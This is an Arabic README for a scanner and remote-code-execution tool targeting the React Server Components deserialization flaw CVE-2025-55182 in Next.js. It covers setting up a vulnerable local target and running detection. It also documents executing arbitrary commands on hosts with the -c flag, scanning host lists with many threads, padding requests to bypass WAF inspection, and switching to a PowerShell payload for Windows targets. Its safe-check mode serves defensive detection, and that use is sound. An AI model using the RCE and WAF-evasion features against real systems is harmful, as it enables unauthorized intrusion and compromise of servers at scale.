
CVE-2025-55182(ثغرة تنفيذ التعليمات البرمجية عن بُعد عبر إلغاء التسلسل في React Server Components)
| المكوّن | الإصدار الموصى به لإعادة الإنتاج | نطاق الإصدارات القابلة للاستغلال |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) وما فوق |
| Next.js | 15.0.0 | 15.x, 16.x(App Router) |
| React Core | 19.0.0 أو 19.2.0 | من 19.0.0 إلى 19.2.0 |
| RSC Bundler | react-server-dom-webpack | من 19.0.0 إلى 19.2.0 |
التثبيت الإجباري للإصدار القديم
cd cve-2025-55182-target
npm install --force
التحقق من إصدارات التبعيات
npm list react next
# تأكد من أن المخرجات تعرض [email protected] و [email protected]
طالما أن قائمة التبعيات الرئيسية تظهر [email protected] و [email protected]، فقد تم تثبيت البيئة بنجاح في الحالة القابلة للاستغلال، ويمكن تجاهل التحذيرات ورموز الأخطاء هنا.
البناء:
npm run build
التشغيل:
npm start
سيستمع الخادم على http://localhost:3000. اكتمل إعداد البيئة ويمكن البدء في التحقق من الثغرة.
كشف/فحص الثغرة:
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE:
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


أداة سطر أوامر لاكتشاف ثغرات React Server Components (RSC) CVE-2025-55182 و CVE-2025-66478 في تطبيقات Next.js.
للحصول على شرح مفصّل للتفاصيل التقنية للثغرة وطريقة الكشف، يرجى الاطلاع على مقال مدونتنا: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
بشكل افتراضي، يرسل الماسح طلب POST متعدد الأجزاء مصمماً خصيصاً يحتوي على حمولة تحقق من RCE لتنفيذ عملية حسابية حتمية (41*271 = 11111). تعيد المضيفات القابلة للاستغلال نتيجة العملية الحسابية في ترويسة الاستجابة X-Action-Redirect بالصيغة /login?a=11111.
يختبر الماسح المسار الجذري أولاً. إذا لم يكن المسار الجذري قابلاً للاستغلال، يتبع عمليات إعادة التوجيه من نفس الأصل (مثل إعادة التوجيه من / إلى /en/) ويختبر وجهة إعادة التوجيه. لا يتبع عمليات إعادة التوجيه عبر النطاقات.
يمكن تفعيل وضع الفحص الآمن باستخدام العلم --safe-check؛ وتعتمد هذه الطريقة على إشارات جانبية (مثل رمز الحالة 500 وملخصات أخطاء محددة) دون تنفيذ تعليمات برمجية على الهدف. استخدم هذا الوضع عندما لا ترغب في تنفيذ RCE.
يضيف العلم --waf-bypass بيانات تشويش عشوائية قبل جسم الطلب متعدد الأجزاء. يساعد هذا في تجاوز اكتشاف WAF الذي يحلل الجزء الأمامي من جسم الطلب فقط. الحجم الافتراضي هو 128 كيلوبايت ويمكن ضبطه عبر --waf-bypass-size. عند تفعيل تجاوز WAF، تزداد مهلة الطلب تلقائياً إلى 20 ثانية (ما لم تُضبط صراحةً).
يحوّل العلم --windows الحمولة من Unix shell (echo $((41*271))) إلى PowerShell (powershell -c "41*271")، وهو مناسب للأهداف التي تعمل بنظام Windows.
pip install -r requirements.txt
فحص مضيف واحد:
python3 scanner.py -u https://example.com
فحص قائمة مضيفين:
python3 scanner.py -l hosts.txt
الفحص بتعدد الخيوط وحفظ النتائج:
python3 scanner.py -l hosts.txt -t 20 -o results.json
الفحص بترويسات مخصصة:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
الفحص باستخدام الكشف الجانبي الآمن:
python3 scanner.py -u https://example.com --safe-check
فحص أهداف Windows:
python3 scanner.py -u https://example.com --windows
الفحص مع تجاوز WAF:
python3 scanner.py -u https://example.com --waf-bypass
تنفيذ أمر RCE:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url عنوان URL واحد للفحص
-c, --cmd الأمر المطلوب تنفيذه
-l, --list ملف يحتوي على المضيفين (واحد في كل سطر)
-t, --threads عدد الخيوط المتزامنة (الافتراضي: 10)
--timeout مهلة الطلب بالثواني (الافتراضي: 10)
-o, --output ملف الإخراج لحفظ النتائج (بتنسيق JSON)
--all-results حفظ جميع النتائج وليس المضيفين القابلين للاستغلال فقط
-k, --insecure تعطيل التحقق من شهادة SSL
-H, --header ترويسات مخصصة (يمكن استخدامها عدة مرات)
-v, --verbose عرض تفاصيل استجابات المضيفين القابلين للاستغلال
-q, --quiet إخراج المضيفين القابلين للاستغلال فقط
--no-color تعطيل الإخراج الملون
--safe-check استخدام الكشف الجانبي الآمن بدلاً من RCE PoC
--windows استخدام حمولة Windows PowerShell بدلاً من Unix shell
--waf-bypass إضافة بيانات تشويش لتجاوز فحص محتوى WAF
--waf-bypass-size حجم بيانات التشويش (كيلوبايت، الافتراضي: 128)
تم الكشف عن RCE PoC في البداية بواسطة @maple3142 — نحن ممتنون للغاية لمساهمتهم في نشر PoC قابل للاستخدام.
بُنيت هذه الأداة في الأصل للكشف الآمن عن ثغرة RCE هذه. لا تزال هذه الميزة متاحة عبر وضع الفحص الآمن --safe-check.
تُعرض النتائج في الطرفية. عند استخدام معامل -o، تُحفظ المضيفات القابلة للاستغلال في ملف JSON يتضمن طلب HTTP والاستجابة الكاملة للتحقق.